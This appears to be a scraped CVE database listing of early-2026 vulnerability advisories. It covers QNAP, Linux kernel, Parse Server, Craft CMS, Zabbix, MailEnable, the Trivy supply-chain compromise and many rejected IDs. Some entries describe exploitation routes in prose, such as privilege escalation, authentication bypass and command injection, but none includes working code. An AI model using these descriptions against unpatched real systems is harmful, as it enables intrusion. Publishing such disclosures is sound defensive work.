CVE-2026-22898	A missing authentication for critical function vulnerability has been reported to affect QVR Pro. The remote attackers can then exploit the vulnerability to gain access to the system. We have already fixed the vulnerability in the following version: QVR Pro 2.7.4.14 and later	N/A	More Details
CVE-2026-22897	A command injection vulnerability has been reported to affect QuNetSwitch. The remote attackers can then exploit the vulnerability to execute arbitrary commands. We have already fixed the vulnerability in the following version: QuNetSwitch 2.0.4.0415 and later	N/A	More Details
CVE-2026-	A cross-site scripting (XSS) vulnerability has been reported to affect QuFTP Service. If a remote attacker gains an administrator account, they can then exploit the vulnerability to bypass security mechanisms or read application	N/A	More

22895	data. We have already fixed the vulnerability in the following versions: QuFTP Service 1.4.3 and later QuFTP Service 1.5.2 and later QuFTP Service 1.6.2 and later		Details
CVE-2025-62846	An SQL injection vulnerability has been reported to affect QHora. If a local attacker gains an administrator account, they can then exploit the vulnerability to execute unauthorized code or commands. We have already fixed the vulnerability in the following version: QuRouter 2.6.2.007 and later	N/A	More Details
CVE-2025-62845	An improper neutralization of escape, meta, or control sequences vulnerability has been reported to affect QHora. If a local attacker gains an administrator account, they can then exploit the vulnerability to cause unexpected behavior. We have already fixed the vulnerability in the following version: QuRouter 2.6.3.009 and later	N/A	More Details
CVE-2025-62844	A weak authentication vulnerability has been reported to affect QHora. If an attacker gains local network access, they can then exploit the vulnerability to gain sensitive information. We have already fixed the vulnerability in the following version: QuRouter 2.6.2.007 and later	N/A	More Details
CVE-2025-62843	An improper restriction of communication channel to intended endpoints vulnerability has been reported to affect QHora. If an attacker gains physical access, they can then exploit the vulnerability to gain the privileges that were intended for the original endpoint. We have already fixed the vulnerability in the following version: QuRouter 2.6.3.009 and later	N/A	More Details
CVE-2025-59383	A buffer overflow vulnerability has been reported to affect Media Streaming Add-On. The remote attackers can then exploit the vulnerability to modify memory or crash processes. We have already fixed the vulnerability in the following version: Media Streaming Add-on 500.1.1 and later	N/A	More Details
CVE-2026-3889	Spoofing issue in Thunderbird. This vulnerability affects Thunderbird < 149 and Thunderbird < 140.9.	N/A	More Details
CVE-2026-3912	Injection vulnerabilities due to validation/sanitisation of user-supplied input in ActiveMatrix BusinessWorks and Enterprise Administrator allows information disclosure, including exposure of accessible local files and host system details, and may allow manipulation of application behaviour.	N/A	More Details
CVE-2026-4371	A malicious mail server could send malformed strings with negative lengths, causing the parser to read memory outside the buffer. If a mail server or connection to a mail server were compromised, an attacker could cause the parser to malfunction, potentially crashing Thunderbird or leaking sensitive data. This vulnerability affects Thunderbird < 149 and Thunderbird < 140.9.	N/A	More Details
CVE-2026-4433	An SSH misconfigurations exists in Tenable OT that led to the potential exfiltration of socket, port, and service information via the ostunnel user and GatewayPorts. This could be used to potentially glean information about the underlying system and give an attacker information that could be used to attempt to compromise the host.	N/A	More Details
CVE-2025-15608	This vulnerability in AX53 v1 results from insufficient input sanitization in the device’s probe handling logic, where unvalidated parameters can trigger a stack-based buffer overflow that causes the affected service to crash and, under specific conditions, may enable remote code execution through complex heap-spray techniques. Successful exploitation may result in repeated service unavailability and, in certain scenarios, allow an attacker to gain control of the device.	N/A	More Details
CVE-2025-15607	A command injection vulnerability on AX53 v1 occurs in mscd debug functionality due to insufficient input handling, allowing log redirection to arbitrary files and concatenation of unvalidated file content into shell commands, enabling authenticated attackers to inject and execute arbitrary commands. Successful exploitation may allow execution of malicious commands and ultimately full control of the device.	N/A	More Details
CVE-2026-33538	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.58 and 9.6.0-alpha.52, an unauthenticated attacker can cause denial of service by sending authentication requests with arbitrary, unconfigured provider names. The server executes a database query for each unconfigured provider before rejecting the request, and since no database index exists for unconfigured providers, each request triggers a full collection scan on the user database. This can be parallelized to saturate database resources. This issue has been patched in versions 8.6.58 and 9.6.0-alpha.52.	N/A	More Details
CVE-2026-33527	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.57 and 9.6.0-alpha.48, an authenticated user can overwrite server-generated session fields such as expiresAt and createdWith when updating their own session via the REST API. This allows bypassing the server's configured session lifetime policy, making a session effectively permanent. This issue has been patched in versions 8.6.57 and 9.6.0-alpha.48.	N/A	More Details
CVE-2026-33508	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.56 and 9.6.0-alpha.45, Parse Server's LiveQuery component does not enforce the requestComplexity.queryDepth configuration setting when processing WebSocket subscription requests. An attacker can send a subscription with deeply nested logical operators, causing excessive recursion and CPU consumption that degrades or disrupts service availability. This issue has been patched in versions 8.6.56 and 9.6.0-alpha.45.	N/A	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: always walk all pending catchall elements During transaction processing we might have more than one catchall element: 1 live catchall element and 1 pending element that is coming as part of the new batch. If the map holding the catchall elements		More

2026-23278	element and 1 pending element that is coming as part of the new batch. If the map holding the catchall elements is also going away, its required to toggle all catchall elements and not just the first viable candidate. Otherwise, we get: WARNING: ./include/net/netfilter/nf_tables.h:1281 at nft_data_release+0xb7/0xe0 [nf_tables], CPU#2: nft/1404 RIP: 0010:nft_data_release+0xb7/0xe0 [nf_tables] [..] __nft_set_elem_destroy+0x106/0x380 [nf_tables] nf_tables_abort_release+0x348/0x8d0 [nf_tables] nf_tables_abort+0xcf2/0x3ac0 [nf_tables] nfnetlink_rcv_batch+0x9c9/0x20e0 [..]	N/A	More Details
CVE-2026-23277	In the Linux kernel, the following vulnerability has been resolved: net/sched: teql: fix NULL pointer dereference in iptunnel_xmit on TEQL slave xmit teql_master_xmit() calls netdev_start_xmit(skb, slave) to transmit through slave devices, but does not update skb->dev to the slave device beforehand. When a gretap tunnel is a TEQL slave, the transmit path reaches iptunnel_xmit() which saves dev = skb->dev (still pointing to teql0 master) and later calls iptunnel_xmit_stats(dev, pkt_len). This function does: get_cpu_ptr(dev->tstats) Since teql_master_setup() does not set dev->pcpu_stat_type to NETDEV_PCPU_STAT_TSTATS, the core network stack never allocates tstats for teql0, so dev->tstats is NULL. get_cpu_ptr(NULL) computes NULL + __per_cpu_offset[cpu], resulting in a page fault. BUG: unable to handle page fault for address: ffff8880e6659018 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 68bc067 P4D 68bc067 PUD 0 Oops: Oops: 0002 [#1] SMP KASAN PTI RIP: 0010:iptunnel_xmit (./include/net/ip_tunnels.h:664 net/ipv4/ip_tunnel_core.c:89) Call Trace: <TASK> ip_tunnel_xmit (net/ipv4/ip_tunnel.c:847) __gre_xmit (net/ipv4/ip_gre.c:478) gre_tap_xmit (net/ipv4/ip_gre.c:779) teql_master_xmit (net/sched/sch_teql.c:319) dev_hard_start_xmit (net/core/dev.c:3887) sch_direct_xmit (net/sched/sch_generic.c:347) __dev_queue_xmit (net/core/dev.c:4802) neigh_direct_output (net/core/neighbour.c:1660) ip_finish_output2 (net/ipv4/ip_output.c:237) __ip_finish_output.part.0 (net/ipv4/ip_output.c:315) ip_mc_output (net/ipv4/ip_output.c:369) ip_send_skb (net/ipv4/ip_output.c:1508) udp_send_skb (net/ipv4/udp.c:1195) udp_sendmsg (net/ipv4/udp.c:1485) inet_sendmsg (net/ipv4/af_inet.c:859) __sys_sendto (net/socket.c:2206) Fix this by setting skb->dev = slave before calling netdev_start_xmit(), so that tunnel xmit functions see the correct slave device with properly allocated tstats.	N/A	More Details
CVE-2026-33151	Socket.IO is an open source, real-time, bidirectional, event-based, communication framework. Prior to versions 3.3.5, 3.4.4, and 4.2.6, a specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory. This issue has been patched in versions 3.3.5, 3.4.4, and 4.2.6.	N/A	More Details
CVE-2026-33700	Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `DELETE /api/v1/projects/:project/shares/:share` endpoint does not verify that the link share belongs to the project specified in the URL. An attacker with admin access to any project can delete link shares from other projects by providing their own project ID combined with the target share ID. Version 2.2.1 patches the issue.	N/A	More Details
CVE-2025-11571	Vulnerable endpoints accept user-controlled input through a URL in JSON format which enables command execution. The commands allowed to execute can open executables. However, the commands cannot pass parameters or arguments. To successfully execute this attack, the attacker needs to be on the same network.	N/A	More Details
CVE-2026-26809	Rejected reason: DO NOT USE THIS CVE RECORD. ConsultIDs: none. Reason: This record was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.	N/A	More Details
CVE-2026-32853	LibVNCServer versions 0.9.15 and prior (fixed in commit 009008e) contain a heap out-of-bounds read vulnerability in the UltraZip encoding handler that allows a malicious VNC server to cause information disclosure or application crash. Attackers can exploit improper bounds checking in the HandleUltraZipBPP() function by manipulating subrectangle header counts to read beyond the allocated heap buffer.	N/A	More Details
CVE-2026-32854	LibVNCServer versions 0.9.15 and prior (fixed in commit dc78dee) contain null pointer dereference vulnerabilities in the HTTP proxy handlers within httpProcessInput() in httpd.c that allow remote attackers to cause a denial of service by sending specially crafted HTTP requests. Attackers can exploit missing validation of strchr() return values in the CONNECT and GET proxy handling paths to trigger null pointer dereferences and crash the server when httpd and proxy features are enabled.	N/A	More Details
CVE-2026-33157	Craft CMS is a content management system (CMS). From version 5.6.0 to before version 5.9.13, a Remote Code Execution (RCE) vulnerability exists in Craft CMS, it can be exploited by any authenticated user with control panel access. This is a bypass of a previous fix. The existing patches add cleanseConfig() to assembleLayoutFromPost() and various FieldsController actions to strip Yii2 behavior/event injection keys ("as" and "on" prefixed keys). However, the fieldLayouts parameter in ElementIndexesController::actionFilterHud() is passed directly to FieldLayout::createFromConfig() without any sanitization, enabling the same behavior injection attack chain. This issue has been patched in version 5.9.13.	N/A	More Details
CVE-2026-33158	Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.8 and from version 5.0.0-RC1 to before version 5.9.14, a low-privileged authenticated user can read private asset content by calling assets/edit-image with an arbitrary assetId that they are not authorized to view. The endpoint returns image bytes (or a preview redirect) without enforcing a per-asset view authorization check, leading to potential unauthorized disclosure of private files. This issue has been patched in versions 4.17.8 and 5.9.14.	N/A	More Details
CVE-2026-33159	Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.8 and from version 5.0.0-RC1 to before version 5.9.14, guest users can access Config Sync updater index, obtain signed data, and execute state-changing Config Sync actions (regenerate-yaml, apply-yaml-changes) without authentication. This issue has been patched in versions 4.17.8 and 5.9.14.	N/A	More Details
CVE-	Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.8 and from version 5.0.0-RC1 to before version 5.9.14, an unauthenticated user can call assets/generate-transform with a		

2026-33160	private assetId, receive a valid transform URL, and fetch transformed image bytes. The endpoint is anonymous and does not enforce per-asset authorization before returning the transform URL. This issue has been patched in versions 4.17.8 and 5.9.14.	N/A	More Details
CVE-2026-33161	Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.8 and from version 5.0.0-RC1 to before version 5.9.14, a low-privileged authenticated user can call assets/image-editor with the ID of a private asset they cannot view and still receive editor response data, including focalPoint. The endpoint returns private editing metadata without per-asset authorization validation. This issue has been patched in versions 4.17.8 and 5.9.14.	N/A	More Details
CVE-2026-33162	Craft CMS is a content management system (CMS). From version 5.3.0 to before version 5.9.14, an authenticated control panel user with only accessCp can move entries across sections via POST /actions/entries/move-to-section, even when they do not have saveEntries:{sectionUid} permission for either source or destination section. This issue has been patched in version 5.9.14.	N/A	More Details
CVE-2026-33401	Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.0, the patch introduced in commit e8a513591 (CVE-2026-30840) added SSRF protection to notification test endpoints but left three additional attack surfaces unprotected: the AI Ollama host parameter, the AI recommendations endpoint, and the notification cron job. An authenticated user can reach internal network services, cloud metadata endpoints (AWS IMDSv1, GCP, Azure IMDS), or localhost-bound services by supplying a crafted URL to any of these endpoints. This issue has been patched in version 4.7.0.	N/A	More Details
CVE-2026-33498	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.55 and 9.6.0-alpha.44, an attacker can send an unauthenticated HTTP request with a deeply nested query containing logical operators to permanently hang the Parse Server process. The server becomes completely unresponsive and must be manually restarted. This is a bypass of the fix for CVE-2026-32944. This issue has been patched in versions 8.6.55 and 9.6.0-alpha.44.	N/A	More Details
CVE-2026-33407	Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.0, Wallos endpoints/logos/search.php accepts HTTP_PROXY and HTTPS_PROXY environment variables without validation, enabling SSRF via proxy hijacking. The server performs DNS resolution on user-supplied search terms, which can be controlled by attackers to trigger outbound requests to arbitrary domains. This issue has been patched in version 4.7.0.	N/A	More Details
CVE-2026-1995	IDrive’s id_service.exe process runs with elevated privileges and regularly reads from several files under the C:\ProgramData\IDrive\ directory. The UTF16-LE encoded contents of these files are used as arguments for starting a process, but they can be edited by any standard user logged into the system. An attacker can overwrite or edit the files to specify a path to an arbitrary executable, which will then be executed by the id_service.exe process with SYSTEM privileges.	N/A	More Details
CVE-2026-23919	For performance reasons Zabbix Server/Proxy reuses JavaScript (Duktape) contexts (used in script items, JavaScript reprocessing, Webhooks). This can lead to confidentiality loss where a regular (non-super) Zabbix administrator leaks data for hosts they do not have access to. A fix has been released that makes the built in Zabbix JavaScript objects read-only, but please be advised that usage of global JavaScript variables is not recommended because their content could be leaked. More information in Zabbix documentation.	N/A	More Details
CVE-2026-23920	Host and event action script input is validated with a regex (set by the administrator), but the validation runs in multiline mode. If ^ and $ anchors are used in user input validation, an injected newline lets authenticated users bypass the check and inject shell commands.	N/A	More Details
CVE-2026-23921	A low privilege Zabbix user with API access can exploit a blind SQL injection vulnerability in include/classes/api/CApiService.php to execute arbitrary SQL selects via the sortfield parameter. Although query results are not returned directly, an attacker can exfiltrate arbitrary database data through time-based techniques, potentially leading to session identifier disclosure and administrator account compromise.	N/A	More Details
CVE-2026-23923	An unauthenticated attacker can exploit the Frontend 'validate' action to blindly instantiate arbitrary PHP classes. The impact depends on environment setup but appears limited at this time.	N/A	More Details
CVE-2026-23924	Zabbix Agent 2 Docker plugin does not properly sanitize the 'docker.container_info' parameters when forwarding them to the Docker daemon. An attacker capable of invoking Agent 2 can read arbitrary files from running Docker containers by injecting them via the Docker archive API.	N/A	More Details
CVE-2026-2417	A Missing Authentication for Critical Function vulnerability in Pharos Controls Mosaic Show Controller firmware version 2.15.3 could allow an unauthenticated attacker to bypass authentication and execute arbitrary commands with root privileges.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: nvme: fix memory allocation in nvme_pr_read_keys() nvme_pr_read_keys() takes num_keys from userspace and uses it to calculate the allocation size for rse via struct_size(). The upper limit is PR_KEYS_MAX (64K). A malicious or buggy userspace can pass a large num_keys value that results in a 4MB allocation attempt at most, causing a warning in the page allocator when the order exceeds MAX_PAGE_ORDER. To fix this, use kvzalloc() instead of kzalloc(). This bug has the same		

CVE-2026-23244	reasoning and fix with the patch below: https://lore.kernel.org/linux-block/20251212013510.3576091-1-kartikey406@gmail.com/ Warning log: WARNING: mm/page_alloc.c:5216 at __alloc_frozen_pages_noprof+0x5aa/0x2300 mm/page_alloc.c:5216, CPU#1: syz-executor117/272 Modules linked in: CPU: 1 UID: 0 PID: 272 Comm: syz-executor117 Not tainted 6.19.0 #1 PREEMPT(voluntary) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 RIP: 0010:__alloc_frozen_pages_noprof+0x5aa/0x2300 mm/page_alloc.c:5216 Code: ff 83 bd a8 fe ff ff 0a 0f 86 69 fb ff ff 0f b6 1d f9 f9 c4 04 80 fb 01 0f 87 3b 76 30 ff 83 e3 01 75 09 c6 05 e4 f9 c4 04 01 <0f> 0b 48 c7 85 70 fe ff ff 00 00 00 00 e9 8f fd ff ff 31 c0 e9 0d RSP: 0018:ffffc90000fcf450 EFLAGS: 00010246 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 1ffff920001f9ea0 RDX: 0000000000000000 RSI: 000000000000000b RDI: 0000000000040dc0 RBP: ffffc90000fcf648 R08: ffff88800b6c3380 R09: 0000000000000001 R10: ffffc90000fcf840 R11: ffff88807ffad280 R12: 0000000000000000 R13: 0000000000040dc0 R14: 0000000000000001 R15: ffffc90000fcf620 FS: 0000555565db33c0(0000) GS:ffff8880be26c000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000002000000c CR3: 0000000003b72000 CR4: 00000000000006f0 Call Trace: <TASK> alloc_pages_mpol+0x236/0x4d0 mm/mempolicy.c:2486 alloc_frozen_pages_noprof+0x149/0x180 mm/mempolicy.c:2557 ___kmalloc_large_node+0x10c/0x140 mm/slub.c:5598 __kmalloc_large_node_noprof+0x25/0xc0 mm/slub.c:5629 __do_kmalloc_node mm/slub.c:5645 [inline] __kmalloc_noprof+0x483/0x6f0 mm/slub.c:5669 kmalloc_noprof include/linux/slab.h:961 [inline] kzalloc_noprof include/linux/slab.h:1094 [inline] nvme_pr_read_keys+0x8f/0x4c0 drivers/nvme/host/pr.c:245 blkdev_pr_read_keys block/ioctl.c:456 [inline] blkdev_common_ioctl+0x1b71/0x29b0 block/ioctl.c:730 blkdev_ioctl+0x299/0x700 block/ioctl.c:786 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:597 [inline] __se_sys_ioctl fs/ioctl.c:583 [inline] __x64_sys_ioctl+0x1bf/0x220 fs/ioctl.c:583 x64_sys_call+0x1280/0x21b0 mnt/fuzznvme_1/fuzznvme/linux-build/v6.19/./arch/x86/include/generated/asm/syscalls_64.h:17 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x71/0x330 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7fb893d3108d Code: 28 c3 e8 46 1e 00 00 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffff61f2f38 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 00007ffff61f3138 RCX: 00007fb893d3108d RDX: 0000000020000040 RSI: 00000000c01070ce RDI: 0000000000000003 RBP: 0000000000000001 R08: 0000000000000000 R09: 00007ffff61f3138 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001 R13: 00007ffff61f3128 R14: 00007fb893dae530 R15: 0000000000000001 </TASK>	N/A	More Details
CVE-2026-33323	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.51 and 9.6.0-alpha.40, the Pages route and legacy PublicAPI route for resending email verification links return distinguishable responses depending on whether the provided username exists and has an unverified email. This allows an unauthenticated attacker to enumerate valid usernames by observing different redirect targets. The existing emailVerifySuccessOnInvalidEmail configuration option, which is enabled by default and protects the API route against this, did not apply to these routes. This issue has been patched in versions 8.6.51 and 9.6.0-alpha.40.	N/A	More Details
CVE-2026-33409	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.52 and 9.6.0-alpha.41, an authentication bypass vulnerability allows an attacker to log in as any user who has linked a third-party authentication provider, without knowing the user's credentials. The attacker only needs to know the user's provider ID to gain full access to their account, including a valid session token. This affects Parse Server deployments where the server option allowExpiredAuthDataToken is set to true. The default value is false. This issue has been patched in versions 8.6.52 and 9.6.0-alpha.41.	N/A	More Details
CVE-2026-33421	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.53 and 9.6.0-alpha.42, Parse Server's LiveQuery WebSocket interface does not enforce Class-Level Permission (CLP) pointer permissions (readUserFields and pointerFields). Any authenticated user can subscribe to LiveQuery events and receive real-time updates for all objects in classes protected by pointer permissions, regardless of whether the pointer fields on those objects point to the subscribing user. This bypasses the intended read access control, allowing unauthorized access to potentially sensitive data that is correctly restricted via the REST API. This issue has been patched in versions 8.6.53 and 9.6.0-alpha.42.	N/A	More Details
CVE-2026-33429	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.54 and 9.6.0-alpha.43, an attacker can subscribe to LiveQuery with a watch parameter targeting a protected field. Although the protected field value is properly stripped from event payloads, the presence or absence of update events reveals whether the protected field changed, creating a binary oracle. For boolean protected fields, the timing of change events is equivalent to knowing the field value. This issue has been patched in versions 8.6.54 and 9.6.0-alpha.43.	N/A	More Details
CVE-2026-23243	In the Linux kernel, the following vulnerability has been resolved: RDMA/umad: Reject negative data_len in ib_umad_write ib_umad_write computes data_len from user-controlled count and the MAD header sizes. With a mismatched user MAD header size and RMPP header length, data_len can become negative and reach ib_create_send_mad(). This can make the padding calculation exceed the segment size and trigger an out-of-bounds memset in alloc_send_rmpp_list(). Add an explicit check to reject negative data_len before creating the send buffer. KASAN splat: [211.363464] BUG: KASAN: slab-out-of-bounds in ib_create_send_mad+0xa01/0x11b0 [211.364077] Write of size 220 at addr ffff88800c3fa1f8 by task spray_thread/102 [211.365867] ib_create_send_mad+0xa01/0x11b0 [211.365887] ib_umad_write+0x853/0x1c80	N/A	More Details
CVE-2025-41007	SQL Injection in Cuantis. This vulnerability allows an attacker to retrieve, create, update and delete databases through the 'search' parameter in the '/search.php' endpoint.	N/A	More Details

CVE-2026-23245	In the Linux kernel, the following vulnerability has been resolved: net/sched: act_gate: snapshot parameters with RCU on replace The gate action can be replaced while the hrtimer callback or dump path is walking the schedule list. Convert the parameters to an RCU-protected snapshot and swap updates under tcf_lock, freeing the previous snapshot via call_rcu(). When REPLACE omits the entry list, preserve the existing schedule so the effective state is unchanged.	N/A	More Details
CVE-2026-32851	MailEnable versions prior to 10.55 contain a reflected cross-site scripting vulnerability in the webmail interface that allows remote attackers to execute arbitrary JavaScript in a victim's browser by crafting a malicious URL. Attackers can inject malicious code through the Attendees parameter in the FreeBusy.aspx form, which is not properly sanitized before being embedded into dynamically generated JavaScript.	N/A	More Details
CVE-2026-33517	Mantis Bug Tracker (MantisBT) is an open source issue tracker. In version 2.28.0, when deleting a Tag (tag_delete.php), improper escaping of its name when displaying the confirmation message allows an attacker to inject HTML and, if CSP settings permit, achieve execution of arbitrary JavaScript. Version 2.28.1 fixes the issue. Workarounds include reverting commit d6890320752ecf37bd74d11fe14fe7dc12335be9 and/or manually editing language files to remove the sprintf placeholder `%1$s` from `$s_tag_delete_message` string.	N/A	More Details
CVE-2026-33548	Mantis Bug Tracker (MantisBT) is an open source issue tracker. In version 2.28.0, improper escaping of tag names retrieved from History in Timeline (my_view_page.php) allows an attacker to inject HTML and, if CSP settings permit, achieve execution of arbitrary JavaScript, when displaying a tag that has been renamed or deleted. Version 2.28.1 contains a patch. Workarounds include editing offending History entries (using SQL) and wrapping `$this->tag_name` in a string_html_specialchars() call in IssueTagTimelineEvent::html().	N/A	More Details
CVE-2026-32843	Location Aware Sensor System by Linkit ONE, up to commit f06bd20 (2023-04-26), contains a reflected cross-site scripting vulnerability in the PM25.php file that allows remote attackers to execute arbitrary JavaScript by injecting malicious code into GET parameters. Attackers can craft a malicious URL containing unencoded payloads in the site, city, district, channel, or apikey parameters to execute scripts in victims' browsers when they visit the page.	N/A	More Details
CVE-2026-3055	Insufficient input validation in NetScaler ADC and NetScaler Gateway when configured as a SAML IDP leading to memory overread	N/A	More Details
CVE-2026-4368	Race Condition in NetScaler ADC and NetScaler Gateway when appliance is configured as Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server leading to User Session Mixup	N/A	More Details
CVE-2026-3948	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-22173	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-28455	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-28483	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32012	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32047	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32066	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32764	Rejected reason: This repository is no longer public.	N/A	More Details
CVE-2026-32900	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-	Rejected reason: This CVE ID has been rejected.	N/A	More Details

32901			
CVE-2026-32902	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32903	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32904	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32907	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32908	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32909	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32910	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32911	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-32912	Rejected reason: This CVE ID has been rejected.	N/A	More Details
CVE-2026-33634	Trivy is a security scanner. On March 19, 2026, a threat actor used compromised credentials to publish a malicious Trivy v0.69.4 release, force-push 76 of 77 version tags in `aquasecurity/trivy-action` to credential-stealing malware, and replace all 7 tags in `aquasecurity/setup-trivy` with malicious commits. This incident is a continuation of the supply chain attack that began in late February 2026. Following the initial disclosure on March 1, credential rotation was performed but was not atomic (not all credentials were revoked simultaneously). The attacker could have use a valid token to exfiltrate newly rotated secrets during the rotation window (which lasted a few days). This could have allowed the attacker to retain access and execute the March 19 attack. Affected components include the `aquasecurity/trivy` Go / Container image version 0.69.4, the `aquasecurity/trivy-action` GitHub Action versions 0.0.1 – 0.34.2 (76/77), and the`aquasecurity/setup-trivy` GitHub Action versions 0.2.0 – 0.2.6, prior to the recreation of 0.2.6 with a safe commit. Known safe versions include versions 0.69.2 and 0.69.3 of the Trivy binary, version 0.35.0 of trivy-action, and version 0.2.6 of setup-trivy. Additionally, take other mitigations to ensure the safety of secrets. If there is any possibility that a compromised version ran in one's environment, all secrets accessible to affected pipelines must be treated as exposed and rotated immediately. Check whether one's organization pulled or executed Trivy v0.69.4 from any source. Remove any affected artifacts immediately. Review all workflows using `aquasecurity/trivy-action` or `aquasecurity/setup-trivy`. Those who referenced a version tag rather than a full commit SHA should check workflow run logs from March 19–20, 2026 for signs of compromise. Look for repositories named `tpcp-docs` in one's GitHub organization. The presence of such a repository may indicate that the fallback exfiltration mechanism was triggered and secrets were successfully stolen. Pin GitHub Actions to full, immutable commit SHA hashes, don't use mutable version tags.	N/A	More Details
CVE-2026-32765	Rejected reason: This repository is no longer public.	N/A	More Details
CVE-2026-32766	astral-tokio-tar is a tar archive reading/writing library for async Rust. In versions 0.5.6 and earlier, malformed PAX extensions were silently skipped when parsing tar archives. This silent skipping (rather than rejection) of invalid PAX extensions could be used as a building block for a parser differential, for example by silently skipping a malformed GNU “long link” extension so that a subsequent parser would misinterpret the extension. In practice, exploiting this behavior in astral-tokio-tar requires a secondary misbehaving tar parser, i.e. one that insufficiently validates malformed PAX extensions and interprets them rather than skipping or erroring on them. This vulnerability is considered low-severity as it requires a separate vulnerability against any unrelated tar parser. This issue has been fixed in version 0.6.0.	N/A	More Details
CVE-2026-	A critical remote code execution (RCE) vulnerability has been reported in PTC Windchill and PTC FlexPLM. The vulnerability may be exploited through the deserialization of untrusted data. This issue affects Windchill PDMLink: 11.0 M030, 11.1 M020, 11.2.1.0, 12.0.2.0, 12.1.2.0, 13.0.2.0, 13.1.0.0, 13.1.1.0, 13.1.2.0, 13.1.3.0; FlexPLM: 11.0	N/A	More Details

4681	M030, 11.1 M020, 11.2.1.0, 12.0.0.0, 12.0.2.0, 12.0.3.0, 12.1.2.0, 12.1.3.0, 13.0.2.0, 13.0.3.0.		
CVE-2026-32769	Fullchain is an umbrella project for deploying a ready-to-use CTF platform. In versions prior to 0.1.1, due to a mis-written NetworkPolicy, a malicious actor can pivot from a subverted application to any Pod out of the origin namespace. The flawed inter-ns NetworkPolicy breaks the security-by-default property expected as part of the deployment program, leading to a potential lateral movement. This issue has been fixed in version 0.1.1. To workaround, delete the failing network policy that should be prefixed by inter-ns- in the target namespace.	N/A	More Details
CVE-2026-32852	MailEnable versions prior to 10.55 contain a reflected cross-site scripting vulnerability in the webmail interface that allows remote attackers to execute arbitrary JavaScript in a victim's browser by crafting a malicious URL. Attackers can inject malicious code through the StartDate parameter in the FreeBusy.aspx form, which is not properly sanitized before being embedded into dynamically generated JavaScript.	N/A	More Details
CVE-2026-32850	MailEnable versions prior to 10.55 contain a reflected cross-site scripting vulnerability in the webmail interface that allows remote attackers to execute arbitrary JavaScript in a victim's browser by crafting a malicious URL. Attackers can inject malicious code through the SelectedIndex parameter in the ManageShares.aspx form, which is not properly sanitized before being embedded into dynamically generated JavaScript.	N/A	More Details
CVE-2026-23246	In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: bounds-check link_id in ieee80211_ml_reconfiguration link_id is taken from the ML Reconfiguration element (control & 0x000f), so it can be 0..15. link_removal_timeout[] has IEEE80211_MLD_MAX_NUM_LINKS (15) elements, so index 15 is out-of-bounds. Skip subelements with link_id >= IEEE80211_MLD_MAX_NUM_LINKS to avoid a stack out-of-bounds write.	N/A	More Details
CVE-2026-4159	1-byte OOB heap read in wc_PKCS7_DecodeEnvelopedData via zero-length encrypted content. A vulnerability existed in wolfSSL 5.8.4 and earlier, where a 1-byte out-of-bounds heap read in wc_PKCS7_DecodeEnvelopedData could be triggered by a crafted CMS EnvelopedData message with zero-length encrypted content. Note that PKCS7 support is disabled by default.	N/A	More Details
